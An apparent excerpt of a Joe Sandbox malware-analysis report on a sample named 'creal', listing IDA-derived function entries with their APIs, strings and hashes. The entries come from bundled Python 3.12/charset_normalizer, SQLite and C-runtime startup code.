Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: AttrCapsule_DeallocObject_String$Create2Module_
String ID: charset_normalizer.md__mypyc.exports$charset_normalizer.md__mypyc.init_charset_normalizer___md$exports$init_charset_normalizer___md
API String ID: 2519120496-2411258805
Opcode ID: 6cb80ad11c98d76827863cb71e74507b593be2b67b62d800d4c12a6864baf513
Instruction ID: e17e7bf3271163b900cefd7545e88a5e09a8db6db65f97c0ca8936f5bba111dd
Opcode Fuzzy Hash: 6cb80ad11c98d76827863cb71e74507b593be2b67b62d800d4c12a6864baf513
Instruction Fuzzy Hash: 1D31C571E1DB8382EB5E8B95E89477D23A1AF45BD8F485034C92D477A4EE3CE484D702

Function 00007FF8E7143880 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PyThreadState_Get.PYTHON312 ref: 00007FF8E71438A2
PyErr_Fetch.PYTHON312 ref: 00007FF8E71438BA
PyCode_NewEmpty.PYTHON312 ref: 00007FF8E71438CD
PyFrame_New.PYTHON312 ref: 00007FF8E71438E7
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143902
_PyErr_ChainExceptions1.PYTHON312 ref: 00007FF8E714390D
PyErr_Restore.PYTHON312 ref: 00007FF8E714393A
PyTraceBack_Here.PYTHON312 ref: 00007FF8E7143943
_Py_Dealloc.PYTHON312 ref: 00007FF8E7143957
_Py_Dealloc.PYTHON312 ref: 00007FF8E714396B

Strings

charset_normalizer\md.py, xrefs: 00007FF8E71438C3

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocErr_$Back_ChainCode_EmptyExceptions1FetchFrame_HereRestoreState_ThreadTrace
String ID: charset_normalizer\md.py
API String ID: 1599779757-1392889821
Opcode ID: 929c761034df64e23572057a73fe2c5fab85c31af172243b9a7b6395f97a8051
Instruction ID: 284577ce898234f8246775bf867ad1e74b06aaa407287b3ec6dbece14f6002a9
Opcode Fuzzy Hash: 929c761034df64e23572057a73fe2c5fab85c31af172243b9a7b6395f97a8051
Instruction Fuzzy Hash: F6212C36A08B82C1EB148B91E84436DA7B1FB89BD5F440031DA6E53B64EF3CE544C702

Function 00007FF8E7146E20 Relevance: 18.1, APIs: 12, Instructions: 104threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON312 ref: 00007FF8E7146E2D
_PyTrash_cond.PYTHON312 ref: 00007FF8E7146E3F
_PyThreadState_UncheckedGet.PYTHON312 ref: 00007FF8E7146E49
_PyTrash_begin.PYTHON312 ref: 00007FF8E7146E58
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146E89
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146EB2
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146EDB
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146F04
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146F2D
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146F4F
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146F78
_PyTrash_end.PYTHON312 ref: 00007FF8E7146F93

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_endUnchecked
String ID:
API String ID: 2819143443-0
Opcode ID: 34ec5bebfffadac6be9bf9876dce8c975bd5e57f5d382802bd6aac2d38012139
Instruction ID: 0814a9b5817e47cd53f8c47c5bfb353bc9f1f57dda866ac68954c06fcc4c933e
Opcode Fuzzy Hash: 34ec5bebfffadac6be9bf9876dce8c975bd5e57f5d382802bd6aac2d38012139
Instruction Fuzzy Hash: 6251B432908742C1EB598FA4D86837C22F1AB44BFDF144334DA7A522D8EF7EE4858342

Function 00007FF8E692B670 Relevance: 16.9, APIs: 2, Strings: 9, Instructions: 386COMMON

Download Yara Rule

Strings

%s.%s, xrefs: 00007FF8E692B73C
sqlite3_, xrefs: 00007FF8E692B873
no entry point [%s] in shared library [%s], xrefs: 00007FF8E692BB0C
unable to open shared library [%.*s], xrefs: 00007FF8E692BC7F
sqlite3_extension_init, xrefs: 00007FF8E692B6FA
_init, xrefs: 00007FF8E692B96E
lib, xrefs: 00007FF8E692B8C1
not authorized, xrefs: 00007FF8E692B6E3
error during initialization: %s, xrefs: 00007FF8E692BA36

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID:
String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%.*s]
API String ID: 0-3733955532
Opcode ID: e8e5a8eb5bbe4c9cdfe345609da715942a7d6ed5573c78f20b4feb771ef1efc9
Instruction ID: 125a438efc341117b903f025bd320b60b65acfe181b1de6ca42b66c54ba483f8
Opcode Fuzzy Hash: e8e5a8eb5bbe4c9cdfe345609da715942a7d6ed5573c78f20b4feb771ef1efc9
Instruction Fuzzy Hash: 4C02A165F29A8281EA54AF91F498379A3E8FF55BC8F084135DE5E063A9DF3CE454C302

Function 00007FF8E6FB1030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E6FB1058
__scrt_initialize_crt.LIBCMT ref: 00007FF8E6FB109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E6FB10AA
_RTC_Initialize.LIBCMT ref: 00007FF8E6FB10D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E6FB10FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E6FB1129

Memory Dump Source

Source File: 00000002.00000002.1577473923.00007FF8E6FB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF8E6FB0000, based on PE: true

Associated: 00000002.00000002.1577410915.00007FF8E6FB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000002.00000002.1577517217.00007FF8E6FB2000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000002.00000002.1577555444.00007FF8E6FB4000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6fb0000_creal.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: b83bcfdbda2627b91fecea52bb080c46b8b041ebfc422aeaa466320814e2d747
Instruction ID: f7fc004afdee1ac81ce3625b8874906a7de450e832f43981b7a38d7da37b32e3
Opcode Fuzzy Hash: b83bcfdbda2627b91fecea52bb080c46b8b041ebfc422aeaa466320814e2d747
Instruction Fuzzy Hash: 2C818D61E3C24F86FA50EBE6A8493F97295AF967C0F5C4135DA0C83796DE3DE4068702

Function 00007FF8E6F31030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E6F31058
__scrt_initialize_crt.LIBCMT ref: 00007FF8E6F3109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E6F310AA
_RTC_Initialize.LIBCMT ref: 00007FF8E6F310D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E6F310FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E6F31129

Memory Dump Source

Source File: 00000002.00000002.1575627628.00007FF8E6F31000.00000020.00000001.01000000.00000029.sdmp, Offset: 00007FF8E6F30000, based on PE: true

Associated: 00000002.00000002.1575586394.00007FF8E6F30000.00000002.00000001.01000000.00000029.sdmpDownload File
Associated: 00000002.00000002.1575707674.00007FF8E6F33000.00000002.00000001.01000000.00000029.sdmpDownload File
Associated: 00000002.00000002.1575751750.00007FF8E6F35000.00000002.00000001.01000000.00000029.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6f30000_creal.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: b665e2aa0a1aafc407c8626279c8168d645185ea6c4bd927f3a78105dbac7c58
Instruction ID: 79bfb16e75fc15732000c11a67e2c1269e460b3087aec59201e55e7314ebc321
Opcode Fuzzy Hash: b665e2aa0a1aafc407c8626279c8168d645185ea6c4bd927f3a78105dbac7c58
Instruction Fuzzy Hash: 21817A71EAC24FC6FA50EBE6A5493F97290AF96BC0F444435D90C87796DE2CE8468702

Function 00007FF8E6FC1030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E6FC1058
__scrt_initialize_crt.LIBCMT ref: 00007FF8E6FC109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E6FC10AA
_RTC_Initialize.LIBCMT ref: 00007FF8E6FC10D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E6FC10FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E6FC1129

Memory Dump Source

Source File: 00000002.00000002.1577634657.00007FF8E6FC1000.00000020.00000001.01000000.00000020.sdmp, Offset: 00007FF8E6FC0000, based on PE: true

Associated: 00000002.00000002.1577585028.00007FF8E6FC0000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577691044.00007FF8E6FC3000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577732223.00007FF8E6FC4000.00000004.00000001.01000000.00000020.sdmpDownload File
Associated: 00000002.00000002.1577775069.00007FF8E6FC5000.00000002.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6fc0000_creal.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 36ee1f5b3c6c56bb94e458d277562ecc12df9e8aa7007938e90fb84e13c3be66
Instruction ID: d2bfa938ea9d487713798708ca835cb780e9ee50f7d8cfc6918852af4dbb7d6b
Opcode Fuzzy Hash: 36ee1f5b3c6c56bb94e458d277562ecc12df9e8aa7007938e90fb84e13c3be66
Instruction Fuzzy Hash: 5581B161E3C64FAAFB50EBE994493F932A0AF967C0F444135D90D43796DE3CE426870A

Function 00007FF8E6F11030 Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF8E6F11058
__scrt_initialize_crt.LIBCMT ref: 00007FF8E6F1109D
__scrt_acquire_startup_lock.LIBCMT ref: 00007FF8E6F110AA
_RTC_Initialize.LIBCMT ref: 00007FF8E6F110D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF8E6F110FE
__scrt_release_startup_lock.LIBCMT ref: 00007FF8E6F11129

Memory Dump Source

Source File: 00000002.00000002.1575166000.00007FF8E6F11000.00000020.00000001.01000000.0000002B.sdmp, Offset: 00007FF8E6F10000, based on PE: true

Associated: 00000002.00000002.1575122286.00007FF8E6F10000.00000002.00000001.01000000.0000002B.sdmpDownload File
Associated: 00000002.00000002.1575218759.00007FF8E6F16000.00000002.00000001.01000000.0000002B.sdmpDownload File
Associated: 00000002.00000002.1575264792.00007FF8E6F1B000.00000002.00000001.01000000.0000002B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e6f10000_creal.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 349153199-0
Opcode ID: 474c6b7a685372b53d5ee10a3ee998af2d98c0b67a4930f1a88a30a85650b8b9
Instruction ID: 087e3a02b450ca7c4fbd396637f470f8098c6278e3944c3f404c883a9ea2d90c
Opcode Fuzzy Hash: 474c6b7a685372b53d5ee10a3ee998af2d98c0b67a4930f1a88a30a85650b8b9
Instruction Fuzzy Hash: 62817821E3C24F86FA50EBE694493F972A4AF96BC0F544039D90C97797DE2CEC468702

Function 00007FF8E7144820 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7144852
PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E714487E
PySlice_New.PYTHON312 ref: 00007FF8E71448A8
_Py_Dealloc.PYTHON312 ref: 00007FF8E71448BF
_Py_Dealloc.PYTHON312 ref: 00007FF8E71448D3
PyObject_GetItem.PYTHON312 ref: 00007FF8E71448E4
_Py_Dealloc.PYTHON312 ref: 00007FF8E71448FB
PyErr_SetString.PYTHON312 ref: 00007FF8E714494E

Strings

interpreted classes cannot inherit from compiled, xrefs: 00007FF8E7144944

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$Err_ItemObject_Slice_String
String ID: interpreted classes cannot inherit from compiled
API String ID: 575668516-2110327174
Opcode ID: 4e2baef39ba8fe060f07d6d6f0bced05c2d01185e87a098f7d4dafbc9954950d
Instruction ID: 9ff814652e80f57663e9d910129cdec26b6e2bb13e30234bd84e203424d46400
Opcode Fuzzy Hash: 4e2baef39ba8fe060f07d6d6f0bced05c2d01185e87a098f7d4dafbc9954950d
Instruction Fuzzy Hash: 75415232E09B83C5EA588FA5E95537C2392AF49BE0F484130DE7E467D4EF2CE4569702

Function 00007FF8E714F2F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8E7142920: PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142961
Part of subcall function 00007FF8E7142920: PyNumber_Add.PYTHON312 ref: 00007FF8E71429B7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429D7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429EB

PyDict_GetItemWithError.PYTHON312 ref: 00007FF8E714F34B
PyErr_Occurred.PYTHON312 ref: 00007FF8E714F359
PyErr_SetObject.PYTHON312 ref: 00007FF8E714F371
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714F3A6
_Py_Dealloc.PYTHON312 ref: 00007FF8E714F3BD
_Py_Dealloc.PYTHON312 ref: 00007FF8E714F400

Strings

feed, xrefs: 00007FF8E714F412
bool, xrefs: 00007FF8E714F3D8

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Err_$Dict_ErrorFromItemLong_Number_ObjectObject_OccurredSsize_tVectorcallWith
String ID: bool$feed
API String ID: 2189706420-2849697477
Opcode ID: 8e0caade2916fc91190bf6248451af5af673b86bd580171c2b13f121ea62ae45
Instruction ID: 5542aefbf52031092bc510ee7f8028f3233a3622fd52556fd9c497e5168941df
Opcode Fuzzy Hash: 8e0caade2916fc91190bf6248451af5af673b86bd580171c2b13f121ea62ae45
Instruction Fuzzy Hash: 4A414731A09B82C1EB649B95E94437D63A5EF48BC5F5C4031DAAE47BA5EF2CF440C712

Function 00007FF8E714A720 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON312 ref: 00007FF8E714A758
PyErr_Occurred.PYTHON312 ref: 00007FF8E714A766
PyErr_SetObject.PYTHON312 ref: 00007FF8E714A77E
PyObject_GetItem.PYTHON312 ref: 00007FF8E714A791
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714A7B3
_Py_Dealloc.PYTHON312 ref: 00007FF8E714A7CA
_Py_Dealloc.PYTHON312 ref: 00007FF8E714A80F

Strings

feed, xrefs: 00007FF8E714A822
bool, xrefs: 00007FF8E714A7E5

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocErr_ItemObject_$Dict_ErrorObjectOccurredVectorcallWith
String ID: bool$feed
API String ID: 2902451266-2849697477
Opcode ID: f4f92837b73cd07083ecf196f641edd5c5d76e013ce287cc97f39c4dfbe217e1
Instruction ID: 8cd766a4b4a258a1306b2c7c942c5d23db118fa53398e1aafe0f3b23cfe21ac6
Opcode Fuzzy Hash: f4f92837b73cd07083ecf196f641edd5c5d76e013ce287cc97f39c4dfbe217e1
Instruction Fuzzy Hash: 0A415935A09B93C1EA248F91E85537D63A1FF48BC5F494031DA6E47755EF2DE4428312

Function 00007FF8E714A110 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8E7142920: PyLong_FromSsize_t.PYTHON312 ref: 00007FF8E7142961
Part of subcall function 00007FF8E7142920: PyNumber_Add.PYTHON312 ref: 00007FF8E71429B7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429D7
Part of subcall function 00007FF8E7142920: _Py_Dealloc.PYTHON312 ref: 00007FF8E71429EB

PyDict_GetItemWithError.PYTHON312 ref: 00007FF8E714A16B
PyErr_Occurred.PYTHON312 ref: 00007FF8E714A179
PyErr_SetObject.PYTHON312 ref: 00007FF8E714A191
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714A1C6
_Py_Dealloc.PYTHON312 ref: 00007FF8E714A1DD
_Py_Dealloc.PYTHON312 ref: 00007FF8E714A220

Strings

feed, xrefs: 00007FF8E714A232
bool, xrefs: 00007FF8E714A1F8

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Err_$Dict_ErrorFromItemLong_Number_ObjectObject_OccurredSsize_tVectorcallWith
String ID: bool$feed
API String ID: 2189706420-2849697477
Opcode ID: 958a22a6337853555e897f1e5a14fcd0471710981ec55253fe3441e9c772aafb
Instruction ID: fb8dd353d0b69ef4abebd0b154c4f6885d4954a0ae4b61f77b47d83b2b9cbbb8
Opcode Fuzzy Hash: 958a22a6337853555e897f1e5a14fcd0471710981ec55253fe3441e9c772aafb
Instruction Fuzzy Hash: 7D416A36A09B52C2EA28DB91E95037D73A1FF48BC4F184030DA6E07BA5EF2DF4409302

Function 00007FF8E714F0E0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON312 ref: 00007FF8E714F110
PyErr_Occurred.PYTHON312 ref: 00007FF8E714F11E
PyErr_SetObject.PYTHON312 ref: 00007FF8E714F136
PyObject_GetItem.PYTHON312 ref: 00007FF8E714F149
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714F16B
_Py_Dealloc.PYTHON312 ref: 00007FF8E714F182
_Py_Dealloc.PYTHON312 ref: 00007FF8E714F1C7

Strings

eligible, xrefs: 00007FF8E714F1DA
bool, xrefs: 00007FF8E714F19D

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocErr_ItemObject_$Dict_ErrorObjectOccurredVectorcallWith
String ID: bool$eligible
API String ID: 2902451266-3320767611
Opcode ID: eacaf991cd320d3b28d9c0a86148e8b297e2767c2de5e507dac64fabba49b49f
Instruction ID: 4074b63d5fa170c28730ef612ccde8944a2aa60ac412cd20e0fa642581e63e32
Opcode Fuzzy Hash: eacaf991cd320d3b28d9c0a86148e8b297e2767c2de5e507dac64fabba49b49f
Instruction Fuzzy Hash: 83311832A09BC2C1EA588B95E98437D63B6EF44FC5F585031DA6D47764EF2CE4419702

Function 00007FF8E68C2430 Relevance: 15.5, APIs: 4, Strings: 6, Instructions: 477COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68C24DB
memcpy.VCRUNTIME140 ref: 00007FF8E68C279A
memcpy.VCRUNTIME140 ref: 00007FF8E68C29FA
memset.VCRUNTIME140 ref: 00007FF8E68C2A03

Strings

misuse, xrefs: 00007FF8E68C25C1, 00007FF8E68C2A9A
API called with finalized prepared statement, xrefs: 00007FF8E68C2599, 00007FF8E68C2A7E
%s at line %d of [%.10s], xrefs: 00007FF8E68C25CD, 00007FF8E68C2AA6
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68C256E, 00007FF8E68C2A8D
API called with NULL prepared statement, xrefs: 00007FF8E68C257D
PRAGMA "%w".page_count, xrefs: 00007FF8E68C250A

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$API called with NULL prepared statement$API called with finalized prepared statement$PRAGMA "%w".page_count$misuse
API String ID: 438689982-3885987512
Opcode ID: cebb2252c8a6daa73a7a3e11162983c79d16766bc1e1919f8db95f9199afc267
Instruction ID: c739bfe9c4cd2efe1421105fbbe572c1297d476050701a2019232018056bc514
Opcode Fuzzy Hash: cebb2252c8a6daa73a7a3e11162983c79d16766bc1e1919f8db95f9199afc267
Instruction Fuzzy Hash: 0D12BF25B29A66A1EA68EBA5956477923A1FF84FC8F184131CE0D077D9DF3CE445C303

Function 00007FF8E68E9F70 Relevance: 15.3, APIs: 2, Strings: 8, Instructions: 330COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E68EA073
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8E68EA154

Strings

-- , xrefs: 00007FF8E68EA003, 00007FF8E68EA022
%02x, xrefs: 00007FF8E68EA374
%lld, xrefs: 00007FF8E68EA211
NULL, xrefs: 00007FF8E68EA1DD
zeroblob(%d), xrefs: 00007FF8E68EA310
?, xrefs: 00007FF8E68EA168
%!.15g, xrefs: 00007FF8E68EA22E
'%.*q', xrefs: 00007FF8E68EA2C5

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$zeroblob(%d)
API String ID: 3510742995-875588658
Opcode ID: d5dff3e84e1e23a8fc53c32058c43ab8a5c4bbbe5e67989a0810bec810ea8e84
Instruction ID: 5b13359fe6873c95412596242108d75bbb6d803c3ef1eaff6db34929aa2feecd
Opcode Fuzzy Hash: d5dff3e84e1e23a8fc53c32058c43ab8a5c4bbbe5e67989a0810bec810ea8e84
Instruction Fuzzy Hash: C2E18372F286669AFB20DBF5D8443BD37A0AB05BC8F044136DE1E63695DE7CA845C342

Function 00007FF8E6905FB0 Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 325COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E6906318

Strings

Cannot add a column with non-constant default, xrefs: 00007FF8E69061AF
Cannot add a UNIQUE column, xrefs: 00007FF8E69060E3
Cannot add a PRIMARY KEY column, xrefs: 00007FF8E69060C8
UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FF8E690635C
